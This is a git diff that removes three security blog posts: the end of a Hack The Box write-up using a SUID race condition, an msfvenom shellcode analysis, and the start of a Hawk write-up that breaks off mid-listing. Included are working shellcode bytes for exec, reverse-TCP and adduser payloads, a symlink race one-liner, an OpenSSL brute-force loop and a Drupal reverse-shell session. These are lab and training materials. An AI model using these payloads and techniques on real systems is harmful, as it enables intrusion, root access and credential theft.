-b'ujCJcv+cH+VbLFWs7SPHdaOoUqOraIKi2CExhqT7F3Y='
-eMaster123\x06\x06\x06\x06\x06\x06r
-```
-
-By putting this back together we get: `user 'smasher' is: PaddingOracleMaster123`
-
-We can log in with that user and get the first flag:
-
-```
-root@kali:~# ssh smasher@10.10.10.89
-smasher@10.10.10.89's password:
-Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-124-generic x86_64)
-
- * Documentation: https://help.ubuntu.com
- * Management: https://landscape.canonical.com
- * Support: https://ubuntu.com/advantage
-Last login: Tue Jun 12 01:24:51 2018 from 10.10.16.9
-smasher@smasher:~$ id
-uid=1001(smasher) gid=1001(smasher) groups=1001(smasher)
-smasher@smasher:~$ ls
-crackme.py socat.sh user.txt
-
-smasher@smasher:~$ cat user.txt
-baabc
-```
-
-### Privesc
-
-There's a SUID file that's interesting:
-
-```
-smasher@smasher:~$ find / -perm /6000 2>/dev/null
-/usr/bin/checker
-```
-
-```
-smasher@smasher:~$ checker
-[+] Welcome to file UID checker 0.1 by dzonerzy
-
-Missing arguments
-```
-
-```
-smasher@smasher:~$ file /usr/bin/checker
-/usr/bin/checker: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=33890d7446199d25dadc438fce63a78c3f377f95, not stripped
-```
-
-There's a race condition in the file because it sleeps for 1 second before reading the file content, so we can exploit this by:
-
-1. Creating a dummy file 'blah' with some junk it
-2. Launch /usr/bin/checker against 'blah', then sleep for 0.5 seconds
-3. Delete 'blah' and replace it with a symlink to /root/root.txt
-4. After the programs comes out of the sleep() function, it'll read root.txt because it's running as root
-
-```
-smasher@smasher:~$ rm blah;echo 123 > blah;(/usr/bin/checker blah &);sleep 0.5;rm blah;ln -s /root/root.txt blah
-rm: cannot remove 'blah': No such file or directory
-[+] Welcome to file UID checker 0.1 by dzonerzy
-
-smasher@smasher:~$ File UID: 1001
-
-Data:
-077af
-```
-
-Flag: `077af`
\ No newline at end of file
diff --git a/_posts/2018-11-29-msfvenom-shellcode-analysis.md b/_posts/2018-11-29-msfvenom-shellcode-analysis.md
deleted file mode 100644
index 28e7fc2db6..0000000000
--- a/_posts/2018-11-29-msfvenom-shellcode-analysis.md
+++ /dev/null
@@ -1,575 +0,0 @@
----
-layout: single
-title: Msfvenom shellcode analysis
-date: 2018-11-29
-classes: wide
-header:
- teaser: /assets/images/slae32.png
-categories:
- - slae
- - infosec
-tags:
- - slae
- - assembly
- - encoding
----
-
-This blog post provides an analysis of various common shellcodes generated by the `msfvenom` utility which is part of Metasploit.
-
-- [# Shellcode analysis #1: linux/x86/exec](#shellcode-analysis-1-linuxx86exec)
-- [Stepping through the shellcode](#stepping-through-the-shellcode)
-- [# Shellcode analysis #2: linux/x86/shell_reverse_tcp](#shellcode-analysis-2-linuxx86shellreversetcp)
-- [Stepping through the shellcode](#stepping-through-the-shellcode-1)
-- [# Shellcode analysis #3: linux/x86/adduser](#shellcode-analysis-3-linuxx86adduser)
-- [Stepping through the shellcode](#stepping-through-the-shellcode-2)
-
-# Shellcode analysis #1: linux/x86/exec
----------------------------------------
-
-The `linux/x86/exec` msfvenom payload simply executes an arbitrary program configured with the `CMD` parameter.
-
-The payload for this analysis was generated as follows:
-
-```
-slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec -f c -o exec_shellcode CMD=/usr/bin/id
-[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
-[-] No arch selected, selecting arch: x86 from the payload
-No encoder or badchars specified, outputting raw payload
-Payload size: 47 bytes
-Final size of c file: 224 bytes
-Saved as: exec_shellcode
-```
-
-Next, it was added to the skeleton test C program that was used for the other assignments.
-
-```c
-#include
-
-char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
-"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0c\x00\x00\x00\x2f"
-"\x75\x73\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x57\x53\x89\xe1"
-"\xcd\x80";
-
-int main()
-{
- int (*ret)() = (int(*)())shellcode;
- printf("Size: %d bytes.\n", sizeof(shellcode));
- ret();
-}
-```
-
-The shellcode is compiled with the `-z execstack` flag to make the stack executable then tested to make sure it works:
-
-```
-slemire@slae:~/slae32/assignment5/1_exec$ gcc -z execstack -o shellcode shellcode.c
-slemire@slae:~/slae32/assignment5/1_exec$ ./shellcode
-Size: 48 bytes.
-uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
-```
-
-The `sctest` program from `libemu2` can be used to emulate the specific instructions in the shellcode and help understand how the shellcode works. As show in the output below, we can clearly see that the shellcode executes the `execve` function, using `/bin/sh` as the program name. The command `/usr/bin/id` that was configured in the payload through msfvenom is executed using the `-c` command flag of `/bin/sh`.
-
-```
-slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec CMD=/usr/bin/id | sctest -v -Ss 100000
-verbose = 1
-[...]
-execve
-int execve (const char *dateiname=00416fc0={/bin/sh}, const char * argv[], const char *envp[]);
-cpu error error accessing 0x00000004 not mapped
-
-stepcount 15
-int execve (
- const char * dateiname = 0x00416fc0 =>
- = "/bin/sh";
- const char * argv[] = [
- = 0x00416fb0 =>
- = 0x00416fc0 =>
- = "/bin/sh";
- = 0x00416fb4 =>
- = 0x00416fc8 =>
- = "-c";
- = 0x00416fb8 =>
- = 0x0041701d =>
- = "/usr/bin/id";
- = 0x00000000 =>
- none;
- ];
- const char * envp[] = 0x00000000 =>
- none;
-) = 0;
-```
-
-`ndisasm` is used to decode the instructions from the shellcode:
-
-```
-slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec CMD=/usr/bin/id | ndisasm -b 32 -
-[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
-[-] No arch selected, selecting arch: x86 from the payload
-No encoder or badchars specified, outputting raw payload
-Payload size: 47 bytes
-
-00000000 6A0B push byte +0xb
-00000002 58 pop eax
-00000003 99 cdq
-00000004 52 push edx
-00000005 66682D63 push word 0x632d
-00000009 89E7 mov edi,esp
-0000000B 682F736800 push dword 0x68732f
-00000010 682F62696E push dword 0x6e69622f
-00000015 89E3 mov ebx,esp
-00000017 52 push edx
-00000018 E80C000000 call dword 0x29
-0000001D 2F das
-0000001E 7573 jnz 0x93
-00000020 722F jc 0x51
-00000022 62696E bound ebp,[ecx+0x6e]
-00000025 2F das
-00000026 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
-0000002E 80 db 0x80
-```
-
-## Stepping through the shellcode
-
-The syscall for `execve` is `0xb` and needs to be placed into the `$eax` register before calling `int 0x80`. It could be done with `mov eax, 0xb` but this uses a longer shellcode, so instead the `push` and `pop` instructions are used to place the `0xb` in the `$eax` register.
-```nasm
-push byte +0xb ; top of stack = 0xb
-pop eax ; eax -> 0xb
-```
-
-The `$edx` register will be set to null since we don't need to pass any environment variables to the program that is executed. Using the `cdq` instruction is a little trick to further reduce the shellcode size. It extends the sign bit of the `$eax` register (which is not set since its value is `0xb`) into the `$edx` register, effectively changing it to zero.
-```nasm
-cdq ; edx -> 0
-push edx ;
-```
-
-The address of the the 2nd argument `-c` is moved into `$edi`. This'll be used later when pushing the arguments on the stack.
-```nasm
-push word 0x632d ; const char * argv[] -> "-c"
-mov edi,esp ;
-````
-
-The first argument `const char *filename` contains a pointer to the filename that'll be executed. The `/bin/sh` is pushed on the stack, then the `$esp` value is copied to `$ebx` so it'll be used for the `execve` syscall.
-```nasm
-push dword 0x68732f ; /bin/sh
-push dword 0x6e69622f ; [...]
-mov ebx,esp ; const char *filename -> "/bin/sh"
-push edx
-```
-
-The `call` instruction first places the address of `/usr/bin/id` on the stack then jumps to the instructions following the null byte below.
-```nasm
-E80C000000 call dword 0x29 ; push on the stack the address of string "/usr/bin/id"
-2F das ; /usr/bin/id
-7573 jnz 0x93 ; [...]
-722F jc 0x51 ; [...]
-62696E bound ebp,[ecx+0x6e] ; [...]
-2F das ; [...]
-696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953 ; [...]
-```
-
-After the call instruction, gdb shows that the next instructions push the argv[] in the reverse order:
-```
-$eax : 0xb
-$ebx : 0xbffff59e → "/bin/sh"
-$ecx : 0x7ffffff7
-$edx : 0x0
-$esp : 0xbffff596 → 0x0804a05d → "/usr/bin/id"
-$ebp : 0xbffff5c8 → 0x00000000
-$esi : 0xb7fcc000 → 0x001b1db0
-$edi : 0xbffff5a6 → 0x0000632d ("-c"?)
-[...]
-0xbffff596│+0x0000: 0x0804a05d → "/usr/bin/id" ← $esp
-0xbffff59a│+0x0004: 0x00000000
-0xbffff59e│+0x0008: "/bin/sh"
-0xbffff5a2│+0x000c: 0x0068732f ("/sh"?)
-0xbffff5a6│+0x0010: 0x0000632d ("-c"?)
-0xbffff5aa│+0x0014: 0x843a0000
-0xbffff5ae│+0x0018: 0x00010804
-0xbffff5b2│+0x001c: 0xf6740000
-───────────────────────────────────────────────────────── code:x86:32 ────
- → 0x804a069 push edi
- 0x804a06a push ebx
- 0x804a06b mov ecx, esp
- 0x804a06d int 0x80
-```
-
-After the `push`, the stack looks like this:
-```
-0xbffff58e│+0x0000: 0xbffff59e → "/bin/sh" ← $esp
-0xbffff592│+0x0004: 0xbffff5a6 → 0x0000632d ("-c"?)
-0xbffff596│+0x0008: 0x0804a05d → "/usr/bin/id"
-```
-
-The `argv[]` now contains : `["/bin/sh", "-c", "/usr/bin/id"]` and the `$ecx` register contains the memory adress of this array.
-
-Finally, `execve` is called using the `int 0x80` instruction.
-
-# Shellcode analysis #2: linux/x86/shell_reverse_tcp
----------------------------------------
-
-The `linux/x86/shell_reverse_tcp` msfvenom payload connects back to a remote machine, executes a shell and redirects output to the socket. This type of payload is commonly used when a firewall restrict incoming connections but allow outbound connections.
-
-The payload for this analysis was generated as follows:
-
-```
-slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp -f c -o shell_reverse_tcp_shellcode LHOST=172.23.10.37 LPORT=4444
-[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
-[-] No arch selected, selecting arch: x86 from the payload
-No encoder or badchars specified, outputting raw payload
-Payload size: 68 bytes
-Final size of c file: 311 bytes
-Saved as: shell_reverse_tcp_shellcode
-```
-
-Compiling and verifying that the shellcode works:
-
-```
-slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ gcc -z execstack -o shellcode shellcode.c
-slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ ./shellcode
-Size: 69 bytes.
-[...]
-slemire@slae:~$ nc -lvnp 4444
-Listening on [0.0.0.0] (family 0, port 4444)
-Connection from [172.23.10.37] port 4444 [tcp/*] accepted (family 2, sport 53684)
-id
-uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
-```
-
-With libemu's `sctest` utility, we can see that the shellcode executes the following functions:
-- socket
-- dup2 (duplicate stdin, stdout and stderr descriptors)
-- connect
-- execve
-
-```
-slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.23.10.37 LPORT=4444 | sctest -v -Ss 100000
-verbose = 1
-[...]
-int socket (
- int domain = 2;
- int type = 1;
- int protocol = 0;
-) = 14;
-int dup2 (
- int oldfd = 14;
- int newfd = 2;
-) = 2;
-int dup2 (
- int oldfd = 14;
- int newfd = 1;
-) = 1;
-int dup2 (
- int oldfd = 14;
- int newfd = 0;
-) = 0;
-int connect (
- int sockfd = 14;
- struct sockaddr_in * serv_addr = 0x00416fbe =>
- struct = {
- short sin_family = 2;
- unsigned short sin_port = 23569 (port=4444);
- struct in_addr sin_addr = {
- unsigned long s_addr = 621418412 (host=172.23.10.37);
- };
- char sin_zero = " ";
- };
- int addrlen = 102;
-) = 0;
-int execve (
- const char * dateiname = 0x00416fa6 =>
- = "//bin/sh";
- const char * argv[] = [
- = 0x00416f9e =>
- = 0x00416fa6 =>
- = "//bin/sh";
- = 0x00000000 =>
- none;
- ];
- const char * envp[] = 0x00000000 =>
- none;
-) = 0;
-```
-
-With `ndisasm`, we can disassemble the shellcode produced by msfvenom:
-```
-slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.23.10.37 LPORT=4444 | ndisasm -b32 - > shell_reverse_tcp.asm
-[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
-[-] No arch selected, selecting arch: x86 from the payload
-No encoder or badchars specified, outputting raw payload
-Payload size: 68 bytes
-
-slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ cat shell_reverse_tcp.asm
-00000000 31DB xor ebx,ebx
-00000002 F7E3 mul ebx
-00000004 53 push ebx
-00000005 43 inc ebx
-00000006 53 push ebx
-00000007 6A02 push byte +0x2
-00000009 89E1 mov ecx,esp
-0000000B B066 mov al,0x66
-0000000D CD80 int 0x80
-0000000F 93 xchg eax,ebx
-00000010 59 pop ecx
-00000011 B03F mov al,0x3f
-00000013 CD80 int 0x80
-00000015 49 dec ecx
-00000016 79F9 jns 0x11
-00000018 68AC170A25 push dword 0x250a17ac
-0000001D 680200115C push dword 0x5c110002
-00000022 89E1 mov ecx,esp
-00000024 B066 mov al,0x66
-00000026 50 push eax
-00000027 51 push ecx
-00000028 53 push ebx
-00000029 B303 mov bl,0x3
-0000002B 89E1 mov ecx,esp
-0000002D CD80 int 0x80
-0000002F 52 push edx
-00000030 686E2F7368 push dword 0x68732f6e
-00000035 682F2F6269 push dword 0x69622f2f
-0000003A 89E3 mov ebx,esp
-0000003C 52 push edx
-0000003D 53 push ebx
-0000003E 89E1 mov ecx,esp
-00000040 B00B mov al,0xb
-00000042 CD80 int 0x80
-```
-
-## Stepping through the shellcode
-
-First, registers are cleared. The `mul` instruction is a shortcut to zero out `eax` and `edx` with a single instruction.
-```nasm
-xor ebx,ebx ; ebx = 0
-mul ebx ; eax = 0, edx = 0
-```
-
-`int socket(int domain, int type, int protocol);`
-
-The socket is created:
-- AF_INET = IP
-- SOCK_STREAM = tcp
-
-```nasm
-inc ebx ; ebx = 1 (SYS_SOCKET)
-push ebx ; socket() -> type = 1 (SOCK_STREAM)
-push byte +0x2 ; socket() -> domain = 2 (AF_INET)
-mov ecx,esp ; socketcall() -> *args
-mov al,0x66 ; sys_socketcall -> SYS_SOCKET
-int 0x80
-```
-
-`int dup2(int oldfd, int newfd)`
-
-stdin, stdout and stderr are duplicated to the network socket:
-
-```nasm
-xchg eax,ebx ; eax = 1, ebx = 3 (fd)
-pop ecx ; ecx = 2
-mov al,0x3f ; sys_dup2
-int 0x80 ;
-dec ecx ;
-jns 0x11 ; loop through stdin, stdout, stderr
-```
-
-`int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)`
-
-The socket is then connected to the remote listener *172.23.10.37 / 4444*:
-
-```nasm
-push dword 0x250a17ac ; IP: 172.23.10.38
-push dword 0x5c110002 ; Port: 4444
-mov ecx,esp ; socketcall() -> *args
-mov al,0x66 ; sys_socketcall -> SYS_CONNECT
-push eax ; socklen_t addrlen = 66
-push ecx ; const struct sockaddr *addr
-push ebx ; int sockfd = 3 (fd)
-mov bl,0x3 ; ebx = 3 (SYS_CONNECT)
-mov ecx,esp ; socketcall() -> *args
-int 0x80
-```
-
-`int execve(const char *filename, char *const argv[], char *const envp[])`
-
-Once the socket is connected, `execve` is used to spawn a shell and since the descriptors have previously been duplicated the input and output will be redirected over the network.
-
-```nasm
-push edx ; edx = 0
-push dword 0x68732f6e ; //bin/sh
-push dword 0x69622f2f ; [...]
-mov ebx,esp ; const char *filename -> /bin/sh
-push edx ;
-push ebx ;
-mov ecx,esp ; char *const argv[] -> /bin/sh
-mov al,0xb ; sys_execve
-int 0x80
-```
-
-# Shellcode analysis #3: linux/x86/adduser
----------------------------------------
-
-The `linux/x86/adduser` shellcode adds a new user to `/etc/passwd` with an arbitrary username and password. The password is encoded in traditional descrypt format directly in the file instead of `/etc/shadow`.
-
-Creating the shellcode
-```
-slemire@slae:~/slae32/assignment5/3_adduser$ msfvenom -p linux/x86/adduser -f c -o adduser_shellcode USER=slae PASS=slae
-[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
-[-] No arch selected, selecting arch: x86 from the payload
-No encoder or badchars specified, outputting raw payload
-Payload size: 91 bytes
-Final size of c file: 409 bytes
-Saved as: adduser_shellcode
-```
-
-Verifying that the shellcode works by adding a user `slae` with password `slae`
-```
-slemire@slae:~/slae32/assignment5/3_adduser$ gcc -z execstack -o shellcode shellcode.c
-slemire@slae:~/slae32/assignment5/3_adduser$ sudo ./shellcode
-[sudo] password for slemire:
-Size: 92 bytes.
-slemire@slae:~/slae32/assignment5/3_adduser$ grep slae /etc/passwd
-slae:AzH43ypX/zepc:0:0::/:/bin/sh
-```
-
-`ndisasm` is used to dissassemble the shellcode:
-```
-slemire@slae:~/slae32/assignment5/3_adduser$ msfvenom -p linux/x86/adduser USER=slae PASS=slae | ndisasm -b32 -
-[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
-[-] No arch selected, selecting arch: x86 from the payload
-No encoder or badchars specified, outputting raw payload
-Payload size: 91 bytes
-
-00000000 31C9 xor ecx,ecx
-00000002 89CB mov ebx,ecx
-00000004 6A46 push byte +0x46
-00000006 58 pop eax
-00000007 CD80 int 0x80
-00000009 6A05 push byte +0x5
-0000000B 58 pop eax
-0000000C 31C9 xor ecx,ecx
-0000000E 51 push ecx
-0000000F 6873737764 push dword 0x64777373
-00000014 682F2F7061 push dword 0x61702f2f
-00000019 682F657463 push dword 0x6374652f
-0000001E 89E3 mov ebx,esp
-00000020 41 inc ecx
-00000021 B504 mov ch,0x4
-00000023 CD80 int 0x80
-00000025 93 xchg eax,ebx
-00000026 E822000000 call dword 0x4d
-0000002B 736C jnc 0x99 -> Start of username/password string
-0000002D 61 popad ..
-0000002E 653A417A cmp al,[gs:ecx+0x7a] ..
-00000032 48 dec eax
-00000033 3433 xor al,0x33
-00000035 7970 jns 0xa7
-00000037 58 pop eax
-00000038 2F das
-00000039 7A65 jpe 0xa0
-0000003B 7063 jo 0xa0
-0000003D 3A30 cmp dh,[eax]
-0000003F 3A30 cmp dh,[eax]
-00000041 3A3A cmp bh,[edx]
-00000043 2F das
-00000044 3A2F cmp ch,[edi]
-00000046 62696E bound ebp,[ecx+0x6e]
-00000049 2F das
-0000004A 7368 jnc 0xb4
-0000004C 0A598B or bl,[ecx-0x75]
-0000004F 51 push ecx
-00000050 FC cld
-00000051 6A04 push byte +0x4
-00000053 58 pop eax
-00000054 CD80 int 0x80
-00000056 6A01 push byte +0x1
-00000058 58 pop eax
-00000059 CD80 int 0x80
-```
-
-## Stepping through the shellcode
-
-`int setreuid(uid_t ruid, uid_t euid)`
-
-> setreuid() can be used by daemon processes to change the identity of a process in order for the process to be used to run work on behalf of a user.
-
-The `setreuid` function is called so the program executes as root (of course, the user or process executing the shellcode must have privileges to do so). This is often used when the process itself doesn't run as root but has privileges to do, for example if the SUID bit is set on the file.
-
-```nasm
-xor ecx,ecx ; ecx = 0
-mov ebx,ecx ; ebx = 0
-push byte +0x46 ; eax = 0x46 -> sys_setreuid16
-pop eax
-int 0x80
-```
-
-`int open(const char *pathname, int flags)`
-
-A file descriptor is then created so the shellcode can write the new user into `/etc/passwd`. The `open` function expects a pointer to the filename `/etc/passwd` and the flags. The filename contains extra slashes so make it 4 bytes aligned. The extra slashes in the filename don't change the behavior as Linux don't care of there is a single slash or multiple ones.
-
-Flags specify if the file should be opened as read-only, write-only, etc.
-
-The list of flags is in the `fnctl.h` file:
-
-```
-#define O_ACCMODE 00000003
-#define O_RDONLY 00000000
-#define O_WRONLY 00000001
-#define O_RDWR 00000002
-#define O_CREAT 00000100
-#define O_EXCL 00000200
-#define O_NOCTTY 00000400
-#define O_TRUNC 00001000
-#define O_APPEND 00002000
-...
-```
-
-These values are encoded in octal base, so when we look at the disassembled code below for the `open` function, we see that the `$ecx` register contains the value 0x401 which translates to 2001 in octal base. Therefore the `O_WRONLY` and `O_APPEND` flags are used on `/etc/passwd`.
-
-```nasm
-push byte +0x5 ; eax = 0x5 -> sys_open
-pop eax
-xor ecx,ecx ; ecx = 0
-push ecx ; null-terminate pathname string
-push dword 0x64777373 ; /etc//passwd
-push dword 0x61702f2f ; [...]
-push dword 0x6374652f ; [...]
-mov ebx,esp ; const char *pathname -> /etc//passwd
-inc ecx ; ecx = 0x1
-mov ch,0x4 ; ecx = 0x401, int flags -> O_TRUNC + O_WRONLY
-int 0x80
-```
-
-The next bit of code pushes on the stack the memory address of new `/etc/passwd` line that'll get added. Then the code jumps further down in the code.
-```nasm
-xchg eax,ebx ; eax = */etc//passwd, ebx = 3
-call dword 0x4d ; put username entry on the stack
-```
-
-The code lands here, where the `write` function is called to add the username into the file.
-
-`write(int fd, const void *buf, size_t count)`
-
-```nasm
-pop ecx ; username entry: slae:AzH43ypX/zepc...
-mov edx, DWORD PTR [ecx-0x4] ; len
-push 0x4 ; eax = 0x4 -> sys_write
-pop eax
-int 0x80
-```
-
-Then finally, the program exits:
-
-```nasm
-push 0x1 ; eax = 0x1 -> sys_exit
-pop eax
-int 0x80
-```
-
----------------------------------------
-
-This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
-
-[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/)
-
-Student ID: SLAE-1236
-
-All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32)
\ No newline at end of file
diff --git a/_posts/2018-12-01-htb-writeup-hawk.md b/_posts/2018-12-01-htb-writeup-hawk.md
deleted file mode 100644
index c24cbeb26d..0000000000
--- a/_posts/2018-12-01-htb-writeup-hawk.md
+++ /dev/null
@@ -1,389 +0,0 @@
----
-layout: single
-title: Hawk - Hack The Box
-date: 2018-12-01
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-hawk/hawk.png
-categories:
- - hackthebox
- - infosec
-tags:
- - hackthebox
- - drupal
----
-
-## Linux / 10.10.10.102
-
-
-
-This blog post is a quick writeup of Hawk from Hack the Box.
-
-### Summary
-------------------
-- The server is running an FTP server, a Drupal website and an H2 database (which is not accessible remotely)
-- There is an OpenSSL encrypted file on the publicly accessible FTP server
-- We can bruteforce the key using a bash script and the openssl command
-- The file contains the password for the Drupal admin account
-- Once we are logged in to Drupal, we can create a PHP file that creates a reverse shell
-- The shell gets us `www-data` and we can find the connection password in the Drupal configuration file
-- We can log in as user `daniel` with the password we found
-- The normal `/bin/bash` shell for user `daniel` has been replaced by `python`, which we can escape using `pty.spawn`
-- Looking at the running processes, we find that the H2 database is running as `root`
-- We can access the web interface by creating an SSH reverse tunnel back to our Kali machine
-- The `sa` username is using the default empty password but we can log in by changing the URL to anything other than the default string
-- Once logged in, we can execute commands as root using H2 SQL commands
-
-### Tools/Blogs
-
-- [https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html](https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html)
-
-### Detailed steps
-------------------
-
-#### Nmap
-
-Services running:
-
-- FTP
-- SSH
-- Apache
-- 5435 (?)
-- H2 database (Web & TCP interface)
-
-```
-root@violentunicorn:~/hackthebox/Machines/Hawk# nmap -p- 10.10.10.102
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-14 19:26 EDT
-Nmap scan report for hawk.htb (10.10.10.102)
-Host is up (0.017s latency).
-Not shown: 65529 closed ports
-PORT STATE SERVICE
-21/tcp open ftp
-22/tcp open ssh
-80/tcp open http
-5435/tcp open sceanics
-8082/tcp open blackice-alerts
-9092/tcp open XmlIpcRegSvc
-
-Nmap done: 1 IP address (1 host up) scanned in 10.50 seconds
-```
-
-#### Services enumeration
-
-Drupal is running on Port 80.
-
-H2's database is not accessible on the HTTP port:
-
-```
-H2 Console
-
-Sorry, remote connections ('webAllowOthers') are disabled on this server.
-```
-
-H2's database is not accessible on the TCP port:
-
-```
-root@violentunicorn:~/Hawk# telnet 10.10.10.102 9092
-Trying 10.10.10.102...
-Connected to 10.10.10.102.
-Escape character is '^]'.
-90117FRemote connections to this server are not allowed, see -tcpAllowOthers��`�org.h2.jdbc.JdbcSQLException: Remote connections to this server are not allowed, see -tcpAllowOthers [90117-196]
- at org.h2.message.DbException.getJdbcSQLException(DbException.java:345)
- at org.h2.message.DbException.get(DbException.java:179)
- at org.h2.message.DbException.get(DbException.java:155)
- at org.h2.message.DbException.get(DbException.java:144)
- at org.h2.server.TcpServerThread.run(TcpServerThread.java:82)
- at java.base/java.lang.Thread.run(Thread.java:844)
-Connection closed by foreign host.
-```
-
-#### FTP recon & credentials file
-
-Anonymous access is allowed on the server and there's a single file we can download.
-
-```
-root@violentunicorn:~/hackthebox/Machines/Hawk# ftp 10.10.10.102
-Connected to 10.10.10.102.
-220 (vsFTPd 3.0.3)
-Name (10.10.10.102:root): anonymous
-230 Login successful.
-Remote system type is UNIX.
-Using binary mode to transfer files.
-ftp> ls
-200 PORT command successful. Consider using PASV.
-150 Here comes the directory listing.
-drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 messages
-226 Directory send OK.
-
-ftp> cd messages
-250 Directory successfully changed.
-
-ftp> ls -la
-200 PORT command successful. Consider using PASV.
-150 Here comes the directory listing.
-drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 .
-drwxr-xr-x 3 ftp ftp 4096 Jun 16 22:14 ..
--rw-r--r-- 1 ftp ftp 240 Jun 16 22:21 .drupal.txt.enc
-226 Directory send OK.
-
-ftp> get .drupal.txt.enc
-local: .drupal.txt.enc remote: .drupal.txt.enc
-200 PORT command successful. Consider using PASV.
-150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes).
-226 Transfer complete.
-240 bytes received in 0.00 secs (3.4679 MB/s)
-```
-
-The file contains a base64 encoded OpenSSL encrypted file
-
-```
-root@violentunicorn:~/hackthebox/Machines/Hawk# cat drupal.txt.enc
-U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb
-CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz
-QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy
-t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk=
-
-root@violentunicorn:~/hackthebox/Machines/Hawk# base64 -d drupal.txt.enc > drupal-decoded.txt.enc
-root@violentunicorn:~/hackthebox/Machines/Hawk# file drupal-decoded.txt.enc
-drupal-decoded.txt.enc: openssl enc'd data with salted password
-```
-
-To brute-force the file, I've tried using [bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) but that tools is shit so I made my own script that does the same thing.
-
-```sh
-for pwd in $(cat /root/SecLists/Passwords/rockyou-75.txt)
- do openssl enc -aes-256-cbc -d -a -in drupal.txt.enc -out file.txt -k $pwd
- if [ $? -eq 0 ]
- then
- exit 1
- fi
-done
-```
-
-The file contains a password:
-
-```
-root@violentunicorn:~/hackthebox/Machines/Hawk# cat file.txt
-Daniel,
-
-Following the password for the portal:
-
-PencilKeyboardScanner123
-
-Please let us know when the portal is ready.
-
-Kind Regards,
-
-IT department
-```
-
-#### Drupal
-
-So first we'll log on to Drupal with:
- - Username: `admin`
- - Password: `PencilKeyboardScanner123`
-
-
-
-Next we need to enable `PHP filters` so we can embed PHP in pages.
-
-
-
-Then we'll create a PHP page with a simple reverse shell.
-
-
-
-```
-root@violentunicorn:~# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.102] 53700
-/bin/sh: 0: can't access tty; job control turned off
-$ id
-uid=33(www-data) gid=33(www-data) groups=33(www-data)
-$ cd /home
-$ ls
-daniel
-$ cd daniel
-$ ls
-user.txt
-$ cat user.txt
-d5111d
-```
-
-We can find that there is another user: `daniel`
-
-```
-$ cat /etc/passwd
-root:x:0:0:root:/root:/bin/bash
-daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-bin:x:2:2:bin:/bin:/usr/sbin/nologin
-sys:x:3:3:sys:/dev:/usr/sbin/nologin
-sync:x:4:65534:sync:/bin:/bin/sync
-games:x:5:60:games:/usr/games:/usr/sbin/nologin
-man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
-lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
-mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
-news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
-uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
-proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
-www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
-backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
-list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
-irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
-gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
-nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
-systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
-systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
